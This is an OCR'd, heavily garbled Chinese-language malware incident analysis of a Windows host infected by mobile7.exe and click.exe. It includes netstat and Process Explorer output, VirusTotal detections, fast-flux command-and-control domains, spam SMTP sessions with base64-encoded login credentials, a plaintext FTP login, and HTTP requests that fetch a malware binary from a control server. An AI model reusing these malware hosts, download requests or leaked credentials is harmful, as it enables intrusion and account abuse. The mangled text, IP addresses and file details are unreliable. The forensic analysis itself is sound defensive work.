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BARRRZAPSORRANGE S LT LY - B8 tepview 1 5T Mg
I3 - 2 PID % 0 ehidriz;t frmobileT. exe & 2 < £ ch¥f b e j it
o032 BT h 30 P ehge kil 3R port 80 -

$t h mobileT. exe e ;S B a1 & i 3E 0 & W E_TCP port 80 f-

UDP port 53 it {7 & Fikiz »

Process PID Protocol Local Address  Local Port  Remote Address Remote Port +  State

= mobile7.exe 2544 TCP 0.0.0.0 0.0.0.0 0 LISTENING

= mobile7.exe 2544 UDP 0.0.0.0 53 3 X

¥ [System Process] [1] i 55195 176.103.55.73 B

B mobile7.exe 2544 TCP 140. 116 49213 80.1442.115 80 ESTABLISHED
T [System Process] 0 TCP 140. 116 55207 176.103.54.73 20 TIME_WAIT

T [System Process] 0 TCP 140. 116 55208 89.144.2.119 80 TIME_WAIT

71 [System Process] 0 TCP 140. 116 55209 89.144.2.119 80 TIME_WAIT

2 [System Process] 0 TCP 140. 116 55210 89.1442.115 30 TIME_WAIT

2 [System Process] 0 TCP 140. 116 55211 176.103.55.73 30 TIME_WAIT

T [System Process] 0 TCP 140. 116 55212 176.103.54.73 20 TIME_WAIT

= mobile7.exe 2544 TCP 140. 116 55213 176.103.54.73 80 ESTABLISHED
7 [System Process] 0 TCP 140. 116 55214 89.1442.119 80 TIME_WAIT
Eimobile7 exe 2544 TCP 140. 116 35215 89.1442.119 20 ESTABLISHED
2 [System Process] 0 TCP 140. 116 55216 76.103.55.73 30 TIME_WAIT

T [System Process] 0 TCP 140. 116 55217 89.1442.115 80 TIME_WAIT

7 [System Process] 0 TCP 140. 116 55218 176.103.55.73 80 TIME_WATT

71 [System Process] 0 TCP 140. 116 55219 89.1442.115 30 TIME_WAIT
B mobile7.exe 2544 TCP 140. 116 55220 89.1442.119 80 ESTABLISHED
T [System Process] 0 TCP 140. 116 55221 89.1442.119 80 TIME_WAIT
= mobile7.exe 2544 TCP 140. 116 |80 123.20.196.234 1096 ESTABLISHED
I mobile7.exe 2544 TCP 140. 116 |80 177.91.249.28 2283 SYN_RCVD

& * procexp 1 & K#EARATF F F AR gl 7R R o B REAES
mobile7.exe FEf &+ &y 77 » I ¥ 25 &1 P /2eh Description fr

Company Name * 2| & 5 & R A3 ©



File Options View Process Find Users Help

2/ Process Explorer - Sysinternals: www.sysinternals.com [WIN-19U090334L5\Huge] =N =R ==

d@Amaos @ o[ ] il 1] 1]

Process C... Private ... Working... PID Description Company Na...
procexpbdexe (6.94 14316 K 26,940 K 2276 Sysinternals Pro... Sysinternals - ..
= & Procmon.exe 4,004 K 12,392 K 2272 Process Monitor Sysinternals - ...
T1Procmonb4.exe 22,100K 42,052K 164
% Sninni 255 34,096K 53,356 K 333QFFELLE Micrasaltlorn
=Imobile7.exe 0.07 8308K 11512K 33

CPU Usage:19.71%  Commit Charge: 40.72% Processes: 48 Physical Usage: 65.20%

te i mobileT. exe #23% chie R 5 » ¥ 0 PIRZARN L g it 30

R IP A 4% > & @ Bz port 80453 5 Listening % i °

(87 mobile7 exe:3360 Properties
| Image | Performance | Performance Graph | GPU Graph | Threads | TCRfIP |Securit5-I I Environment | Job | Sh'ings|
[7] Resolve addresses

Prot... Local Address Remote Address State

TCP 140 116:49220 |83.1.201.154:80 SYN_SENT
TCP  14C 116:49221 [92.38.50.171:80 SYN_SENT
TCP 140 11649222 46.118.132.187:80 SYN_SENT
TCP  14C 116:49223 [103.250.112.34:80 SYN_SENT
TCP  14C 116:49224 46.46.69.205:80 SYN_SENT
TCP 140 116:49230 [194.8.157.137http FIN_WAITZ
TCP  14C 116:49233 |49.204.89.100:80 SYN_SENT
TCF 0.0.0.0:80 0.000:0 LISTENING
UDEF 0000653 ¥

mobile7.exe

3
h == =
E5: 2015/6/10 T4 02:52
1 1.03 MB

A ERARS ¢ L ffd 0 F]UU 5 3F autoruns 1 Sk A AL
¥ o dur - B % 5 CrashReportSaver e s fxdsiap 78 » BT %

%ﬁ—;j*u; mobileT. exe #7F



Autorun Entry Description Publisher Image Path

# HKIM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

7l Browsing Enhanceme... Windows Mail Microsoft Corpor... ¢:\program files (x86)\windows mail\winmail.exe
ml DirectDrawEx Windows Mail Microsoft Corpor... c:\program files (x86)\windows mail\winmail.exe
ml Internet Explorer Help Windows Mail Microsoft Corpor... c:\program files (x86)\windows mail\winmail.exe
ml Internet Explorer Set... Windows Mail Microsoft Corpor... ¢:\program files (x86)\windows mail\winmail.exe
ml Microsoft Windows ~ Windows Mail Microsoft Corpor... c:\program files (x86)\windows mail\winmail.exe
ml Microsoft Windows S... Windows Mail Microsoft Corpor... c:\program files (x86)\windows mail\winmail.exe

KCT SSQfmamhM1cmsgfl\Wmclews‘\CurrentVersmn\Run
[ CrashReportSaver c:\users| & 1 ‘mobile

: H_..,..HHHHHH

~

N

m

7. BTV REFPIRELTER LM HISBESE " FREI BN THEE
~FINEEL AT R & 0 A4 1. 03MB '€ E 4 click. exe o
8. EWLRNELEFP TG DT H AT EME R AR e BT

mog T A AR TR PR T RS dp e click. exe

1. #4Ep % 5 TC:\WINDOWS\system32\cmd. exe F/c "start

%cd%\click. exe && %windir¥%\explorer %cd%\sources" |-

2. - _‘g_ Iq‘ ,E, F’HHI 7} ' i'} g :\.» IE) %g— &
usb_virus v| & _virus P
‘l J
& & &
boot clickexe efi Shortcut to click
| |
: [ i
Lol e ol o &
sources support System Volume
Information
EIEE 1.03 M8

9. #iB Virustotal 52 ¥4 mobileT.exe fr click.exe # R » £ F i‘u‘«i

R2EPERLARN > P AR B ORI 5 29/07 ek B AR5 o



SHA256:  311a000ec4401817b82b855774c29d0104b5551faf46bd8c7265cc25620d28b3 b
{EEEfE  a2f887ceb792ed128efe050a4d493b20389ce185 —
[EHIES 29157 .! O O
AHFEE 2015-06-11 074630 UTC (1 B, 1 3 &i )

Bt QEEFEREN O HMEA e Q= H{TAEN

Bis R HH

AlLYac Trojan.Injector BLS 20150611

AVG Inject2.CHTQ 20150611

AVware Trojan Win32 GenericlBT 20150611

Ad-Aware Trojan.Injector BLS 20150611

Arcabit Trojan Injector BLS 20150611

Avira TR/Crypt Xpack 23250 20150611

Baidu-International Trojan.Win32.Injector CCNF 20150610

BitDefender Trojan.Injector BLS 20150611

P BB T A T B Ecport 53 £ Hfc

E IS

104 iRl gt dte BLEH PR (7

WAt s R S DNS PR B i » B AR E 6 B R

Rl

1’3\3’

Hoedrkgi b7 600 BERL P mfEiied RAFL L/

)

% Tbayermun. biz ~ gorodkoff. com * demyator. biz ~ mydear. name -
www. mydear. name | & o

115z E X #n 5 Virustotal #F4s > BR[Namt FHF A ELF -

URL http://mydear.name/ URL: http://demyator.biz/

il 3/63 R 1/63

Pexini=hii 2015-06-09 18:13:31 UTC (1 F, 138 #1) ATHE: 2015-05-05 13:22:07 UTC (2 H, 2 jE & )
URL http://bayermun.biz/ URL: http://gorodkoff.com/

TRl 1163 s 0/63

AT HA 2015-05-05 14:01:02 UTC (2 . 2 A ) AR 2015-07-21 15:24:43 UTC (11 /5. 12 242 B )

hayermun.biz (49,560) - gorodkoff.com (24,807) - demyator.hiz (2,530) - mydear.name (2,066) - www.mydear.name (1,022) -
ns1.gorodkoff.com (851) - ns3.gorodkoff.com (843) - ns6.gorodkoff.com (841) - ns2.gorodkoff.com (841) -
ns4.gorodkoff.com (832) - ns5.gorodkoff.com (768) - ns6.mydear.name (314) - ns5.mydear.name (289) - ns3.mydear.name
(287) - ns2.mydear.name (287) - ns1.mydear.name (276) - ns4.mydear.name (256) - goloduha.info (256) -
greystoneexpress.com (123) - ns4.bayermun.biz (106) - ns3.demyator.biz (99) - ns2.demyator.biz (99) - ns5.demyator.hiz (95)
- nsl.greystoneexpress.com (92) - ns5.greystoneexpress.com (91) - ns2.greystoneexpress.com (88) -
ns3.greystoneexpress.com (86) - ns6.greystoneexpress.com (84) - ns4.greystoneexpress.com (84) - ns4.demyator.biz (84) -
nsl.bayermun.biz (83) - ns2.bayermun.biz (81) - ns1.goloduha.info (81) - ns6.bayermun.biz (80) - ns6.goloduha.info (79) -
nsb6.demyator.biz (72) - ns1.demyator.hiz (71) - ns5.bayermun.biz (66) - ns3.bayermun.biz (62) - ns2.goloduha.info (62) -
ns5.goloduha.info (46) - ns3.goloduha.info (36) - ns4.goloduha.info (25) - www.bayermun.biz (14) -

12001 izt et 5@ DNS f245 I ke [P &# BRFA B3 > T A2 - B
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1365 - 4 R RER LHE IPHG  d 32 35 B 28 LHHRT

- R 140.X.X. 116 > & 7 2t ¥ @b F 5 Double-Flux Hjk

Frotrdk o L2 24P ME 28 A ¥R B2 AR ReRED

4~ Hostname Aliases 20 items)

www.zdorovie.bz (1,383) - davielec.com.vn (1,231) - borisovfish.by (1,159) - yugorsk.com (945) - faisaloils.com.pk (716) - sfurster.
stadreklampanolari.com (684) - 1stepcompany.ru (669) - jgraphicsanddesign.co.za (664) - coffeebay.pl (657) - az-zara.com.my (64
pracharach.ac.th (633) - eurokiss.jp (632) - maconnerie-de-lacheneau.com (631) - www.filus66.user.icpnet.pl (610) - allisit.net (60
karyaprenses.com (580) [more]

4+~ Source IP Address (20 items)

176.103.48.27 (20,746) - 37.1.200.161 (3,716) - 64.54.15.150 (326) - 204.13.200.200 (299) - 5.35.208.53 (271) - 85.87.69.110 (26
(222)- 58.10.108.79 (218) - 65.55.217.55 (193) - 202.44.238.15 (191) - 177.35.121.56 (166) - 113.171.224.212 (156) - 65.55.217.
171.96.170.108 (120) - 69.164.111.198 (118) - 189.212.185.220 (110) - 107.178.195.199 (107) - 65.55.215.223 (104) [more]

4~ Destination IP address (1 item)
140 116 (71,351)

14. %% Bkl 75 > RA SR TP § » 3% Sk dhport 80 4 i

e @ P SRR 4 e P T R MTP FRE > e N F LR
> SMTP @ PR BER 2 bR 518 » FBEZEGLs M F X B LA a2 > ¥ %
s 7R b T i proxy RIREE B O~ B E PIRE o Fd 0o SV H
R CHRFRAEZEDIIAKE R T i -
1. T REST o KA ZE b7 % 83, 149. 125, 142 3 X 4f & L@ M
sport 800 ¢ MbRE » & SMTP @ PR F 84.2.46. 3 & 7R 5L %
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Time Service Size Events
2015-Jun-10 15:43:23 IP / TCP/ OTHER 2.71 KB . 83.149.125.142 -> 140 116 g 53797 -> 80 (http)
2015-Jun-1015:43:23 IP /TCP/ OTHER 2.55 KB & 83.149.125.142 -> 140 116 h 53796 —> 80 (http)
2015-Jun-1015:43:23 IP / TCP/ OTHER 2.50 KB % 83.149.125.142 -> 140 116 i 53799 -> 80 (http)
2015-Jun-10 15:43:23 IP / TCP / SMTP 2.79KB A 83.149.125.142 —> 140 116 igh 53798 —> 80 (http)
2015-Jun-1015:43:23 IP /TCP/ OTHER 2.63 KB A 83.149.125.142 —> 140 116 igh 53800 —= 80 (hitp)
2015-Jun-1015:43:23 IP /TCP/ OTHER 2.98 KB A 83.149.125.142 —> 140 116 igh 53801 —> 80 (hitp)
0 0 4 P P P 96 KB P8 83.149 4 40 ™']5380 80 p
Time Service Size Events

2015-Jun-10 15:43:23 IP/ TCP [ SMTP 1.97 KB ® 140 116 -2 842463 b 49730 > 25 (smip)
2015-Jun-10 15:43:24 IP/ TCP / SMTP 116 -> 208.84.244.49 m 49733 - 25 (smip)
2015-Jun-10 15:43:24  IP/ TCP / SMTP 2.62 KB * 140! 116 -» 200.42.138.133  gh 49750 —» 25 (smip)
2015-Jun-1015:44:23  IP/ TCP / SMTP 2.20 KB 2 140, 116 ->79.96.18.114 (g 49784 - 25 (smtp)
2015-Jun-10 15:44:23  IP/ TCP / SMTP 3.56 KB & 140! 116 —> 208.84.244.49  h 49786 —= 25 (smtp)
2015-Jun-10 15:44:24 IP/ TCP / SMTP 3.30KB . 140, 116 - 216.52.118.222 ) 49797 —> 25 (smtp)
2015-Jun-1015:44:24  IP/ TCP / SMTP 1.91 KB x 140! 116 -> 84.2.46.3  igh 49799 -> 25 (smtp)

2. WARRRZE b R %0 83.149.125. 142 32 1 ¢ Mxkehite pF > ¢ 3

T BB TMESL RS > X F R A BEER RS

Stream Content 116 E 53803 -> 80 (http)

L ccncnoa- 220 mail-smtp03-mia.tpn.terra.com ESMTP

B 83.149.125.142 -> 140,

EHLO Tocalhos

250-mail-smtp03-mia.tpn. terra.com

250-PIPELINING

250-SIZE 36225030

250-AUTH TRRPROXY_V1 PLAIN LOGIN
250-ENHANCEDSTATUSCODES

250-8BITMIME

250 DSN

AUTH LOE;IIN hb

334 VXNTcm>hbwue .
Y2RuZWZyb2NvbnRpbmVudGVAC3B1ZWR5L mNvbs5uzq== —= Email 4% (Based64)

334 UGFzc3dvcmQb i
» Email #=i& (Based64)

amF2awvy = Dbw==
235 2.7.0 Authentication successful

MAIL FROM:<cdnefrocontinente@speedy.com.pe>

250 2.1.0 ok

RCPT TO:<maria.rzymanska@bgk.com.pl>

250 2.1.5 ok

DATA

354 End data with <CR><lF>.<CR><lF>

From: cdnefrocontinente@speedy.com.pe

To: maria.rzymanska@bhgk.com.pl

subject: This could seriously ensure your bedroom Tife BRI

=
LTy ey

Do you wish to impress your loved one this night? http://mysticism.hgopbskv.eu/

554 5.7.1 Mensaje no enviado por el desacuerdo con las condiciones de uso.
RSET

250 2.0.0 0Ok

QUIT

221 2.0.0 Bye

3. AR Y Mg ix 1 SNTP RPR % 208. 84.244. 49 chdte p % > H P %

SR TR ED BN - R I SRR BR e



4.

Stream Content— s WEIIR 116 - 208.84.244.49 m 49733 - 25 (smtp)

220 mail-smtp03-mia.tpn.terra.com ESMTP
EHLO Tlocalhost
250-mail-smtp03-mia. tpn.terra.com
250-PIPELINING
250-SIZE 36225030
250-AUTH TRRPROXY_V1 PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 D5SN
AUTH LOGIN
334 vXN1cm5hbwue
Y2RUZWZyb2NvbnRpbmVudGVAC3B1ZWR5LmNvbS5wzQ== — Email 55 (Based64)
334 UGFzc3dwvemnb .
anmF2awvy Obw== —p Email #=1E (Based64)
235 2.7.0 Authentication successful
MAIL FROM:<cdnefrocontinente@speedy.com.pe>
250 2.1.0 ok
RCPT TO:<maria.rzymanska@bgk.com.pl>
250 2.1.5 0Ok
DATA
354 End data with <CR><LF>.<CR><LF>
rom: cdnefrocontinentedspeedy.com.pe
To: maria.rzymanska@bgk.com.pl
subject: This could seriously ensure your bedroom 1ife EEE A HE

Do you wish to impress your loved one this night? http://mysticism.hgopbskv.eu/

554 5.7.1 Mensaje no enviado por el desacuerdo con las condiciones de uso.
RSET

250 2.0.0 Ok

QUIT

221 2.0.0 Bye

Bate s8t kg 0 95 900 BAp R I SMTP "R BAk @ sk b 3

.
W
ol

%
CEBERAFELE I AITE .

s~ Service Type (1 item)
SMTP (323,395)

+- Source IP Address (1 item)
140. 116 (323,395)

4~ Destination IP address[(907 itcms) |

208.84.244.49 (25,521) - 84.2.44.3 (23,767) - 84.2.46.3 (23,064) - 82.207.79.154 (11,290) - 184.105.182.144 (10,981) -
184.105.182.148 (10,806) - 184.105.182.141 (8,978) - 184.105.182.145 (8,190) - 184.105.182.143 (8,080) - 184.105.182.149
(7,565) - 184.105.182.147 (7,265) - 184.105.182.146 (5,713) - 89.184.64.125 (5,473) - 195.229.241.156 (5,244) -
202.108.3.190 (4,958) - 195.4.92.211 (4,913) - 213.42.3.217 (4,664) - 184.105.182.140 (4,469) - 196.25.211.150 (2,783) -
89.184.64.105 (2,702) - 81.21.76.54 (2,519) - 184.105.182.142 (2,127) - 87.243.128.14 (1,897) - 194.63.239.10 (1,847) -
222.255.124.76 (1,647) - 200.219.210.5 (1,642) - 184.105.182.187 (1,573) - 64.27.25.103 (1,300) - 213.149.240.10 (1,192) -
217.9.147.157 (1,186) - 63.247.74.2 (1,183) - 62.140.73.192 (1,105) - 62.245.150.241 (1,079) - 184.105.182.186 (1,052) -
187.31.0.12 (1,048) - 212.122.1.3 (1,022) - 184.105.182.184 (986) - 196.22.48.27 (933) - 200.40.30.218 (920) -
216.26.146.21 (909) - 211.34.104.38 (896) - 218.248.240.12 (855)- 115.68.131.28 (853) - 211.20.188.210 (844) - 5.153.0.34
(837)-123.125.50.132 (833) - 211.181.250.9 (831) - 203.212.192.30 (829) - 94.23.253.214 (829) - 64.69.213.238 (829) -
203.115.96.50 (816) - 211.34.104.37 (806) - 123.125.50.133 (806) - 213.46.255.215 (804) - 190.160.0.137 (797) -
87.121.24.7 (797) - 72.46.148.138 (795) - 212.74.114.24 (793) - 203.115.0.31 (791) - 118.129.167.136 (790) -

15, spata tho debd AR DY KE ~ TP PIRE b4 b

T % 176.103.48. 27 H 6 ¥ #=khport 80 ## % » 4t¢ 1 FIP PIR B

91.121.6.54:21 > #F& p 5 ¢ & 37 @ 2 N FTP R 5o 4 > 12 %2 FTP

server s [P T » T EF L EELRAEPERT i F 2 FTP @R E o



Time Service Size Events
2015-Jun-10 162925 P/ TCP/ HTTP 5 176.103.48.27 —> 140. 116 [) 34322 —> 80 (http)

Time Service [ Events
2015-Jun-10 16:50:24  IP / TCP / FTP . 140. 116 ->91.121.6.54 [E) 49469 -> 21 (frp)  [E

Stream Content— LR 116 ->91.121.6.54 E49469 -> 21 (ftp)
220 P;uFTPD _% % .10 Server (ProFTPD Default Installation) [91.121.6.54]
USER Tt
331 Pasnggd :'ece]m red for ftp_no_life. LE Server IP
PASS nl 123 - B
230 User ftp_no_life logged in.
PASV
227 Entering Passive Mode (91,121,6,54,129,246).
PWD
257 "/" is current directory.
TYPE A
200 Type set to A
QUIT
FZl Goodbye.

_ FIEERRTE,
SEG

I~

e KA BEsH
L 00191.mov 1.6 GB 2012/5/3 |4+12:00:00
_ 00197.mov 66.0 MB 2012/5/3 |4+12:00:00
_ 00199.mov 503 MB 2012/5/3 _£4+12:00:00
_ 00200.mov 158 MB 2012/5/3 _£4+12:00:00
_ 00201.mov 333 MB 2012/5/3 _£4+12:00:00
_ 00203.mov 597 MB 2012/5/3 [412:00:00
_ 00207.mov 330 MB 2012/5/3 [412:00:00
_ Cyanide_GOT_HD.rar 977 MB 2012/5/4 _[4712:00:00

16. oz s sshe ¢ RWEEXERAH > 2 5B 18658
fast-flux 3¢ &4 gorodkoff.com i | ¥ #xf - L 53¢ Bk b K

APTRELANAEN L AT 176.103.55.73

176.103.54.73 ~ 89.144.2.115~89.144. 2. 119 £ = & -

NetWitness Reconstruction for session ID- 3237105 ( Source 81.50.209.243 - 53908, Target 140. 116:80)
Time6/24/2015 8:04:29 to 6/24/2015 8:05:21 Packet Size 1,011 bytes Payload Size 203 bytes
Droio- o 2 o0 (oo A o ol A Rloto Al AV ATE D o ol

GET Iloader!trahunLexel HTTP/1.1

Host: gorodkoff.com fast flux 4928

cache-control: no-cache

accept-encoding: gzip, deflate

user-agent: Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1: .NET CLR 2.0.
50727)

R A --> g

Lo 22 B 24 62.210.239.195 2 4@ 7] @ #=b [P @ 2be s DL
R A #176.103.54.73 % » te 5L 45 [ infected:infected ; %
& T A235% cclub02. exe » # 2] 62. 210. 239. 195 ¥ &c H_F & 2% & #71

[N

Eh MR B AR A0 45 176.103.54. T3 220§ S fg o @ *

linux & %23 5 B Ecport 80 T 5 ¢ Mep i@ * o



JEP MRET) P R A 176.103.54. T3 chdte ¢ > €4 5 AR LB
[P F3 (X-My-Real-IP: 62.210.239.195) » * k¥ M=biv 55 0 /2

\

#h%E cclub02. exe » R L kihzd o A ZT < 95 1.06MB 0 E R

#23% > %518 Virustotal Rl 6] 2 13/56 °

NetWitness Reconstruction for session ID: 5277061 ( Source b )5 - 51589, Target 140

meh 25/ 20]‘3 6: -12 43 to h 25/20156:43:37 Packet Size 1,160, 8}0 hyTes Siz 12 bytes

GET /cclub02.exe HITP/1.1 |

User-Agent: ar1a2/1.18.8

Accept: */* application/metalinkd4xml,application/metal 1nk+xml

Host: 140. 116

Authorization: Basic[aWsmZWNOZWQ6aWsnziNOZWQ= |  infected:infected
If-Modified-Since: Wed, 24 Jun 2015 22:38:54 GMT

HTTP/1.1 200

Server: Apache

Content-Length: 1059887

Content-Type:

Last-Modified: fH, 24 B0 2015 22:42:52 GNT
Accept-Ranges: bytes

Server:nginx/1.2.6

Date:Wed, 24 Jun 2015 22:42:43 GMT
Last-Modified:Wed, 24 Tun 2015 22:25:40 GMT
ETag:"558b2e64- 102c2f“

Accept-Ranges:bytes

MZO EEEE#E 155 0! This program cannot be run in DOS mode.
$GAE 7080087 80008708 #087081 08?081 O8?70850870850870870807080 O8?080908708Rich?O8
PEL O O 00'0@ B« OO0&FextD ! ‘“4rdtal 0@8@dat PQO

NetWitness Reconstruction for session ID: 5277063 ( Source 140 11651689, Target 176.103.54.73 : 80)

meb 25/2015 6:42:43 t0 6/25/2015 6:42:52 Packet Size 1,120, 846 hyh’—\s ayload Size 1,060,432 bytes

GET leclub02.exe HTTPII 1 A
Host: 176.103.54.73

Content-Length: 0

User-Agent: aria2/1.18.8

Accept: */* application/metalinkd+xml,application/metal ink+xml

Authorization: Basic| aWsmZWNOZWQRaWsmZWNOZWO= | infected:infected

If-Modified-Since: Wed, 24 Jun 2015 22:38:54 GMT

X-Real-My-IP: 62.210.239.195 | JEE Tt

| HTIP/1.1 200 OK |
Server: nginx/1.2.6
Date: Wed, 24 Tun 2015 22:42:43 GNT
Content-Type: application/octet-stream
Content-Length: 1059887
Connection: keep-alive
Last-Modified: Wed, 24 Jun 2015 22:25:40 GMT
ETag: "558b2e64-102¢2f"
Accept-Ranges: bytes

MzZO EEEE#E T 0! This program cannot be run in DOS mode.
$GAE 7080087 80008708 #087081 08?081 O8?70850870850870870807080 O8?080908708Rich?C8
PEL O O 00'0@ Bg< O0%FextD ! “4rdta0 0@@dat PQO

SHA256:  ee18da57527ad54203fedba145d9b08504fad5fadff2354aaaae37c5df229a96

fEz o | cclub02.exe

e 13/56

SHTHER:  2015-06-24 23:19:17 UTC (338, 6 X &)
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‘ B arisx06.exe 2015/7/22 £ 0. 052 KB
| bObe001.exe 2015/7/23 £ 0. ,060 KB
8 cclub02.exe 2015/7/22 £F 0. 059 KB
87 chipddi.exe 2015/7/23 £ 0.. 1,060 KB
B inviD01.exe 2015/7/23 £ 0. 060 KB
5| mobile7.exe 2015/7/22 £ 0. 1,060 KB
# ' rain002.exe 2015/7/23 £ 0. 1,060 KB
# | suba002.exe 2015/7/23 £ 0.. 059 KB
# | trahunt.exe 2015/7/22 £ 0. 059 KB
| x640001.exe 2015/7/23 £ 0. 060 KB
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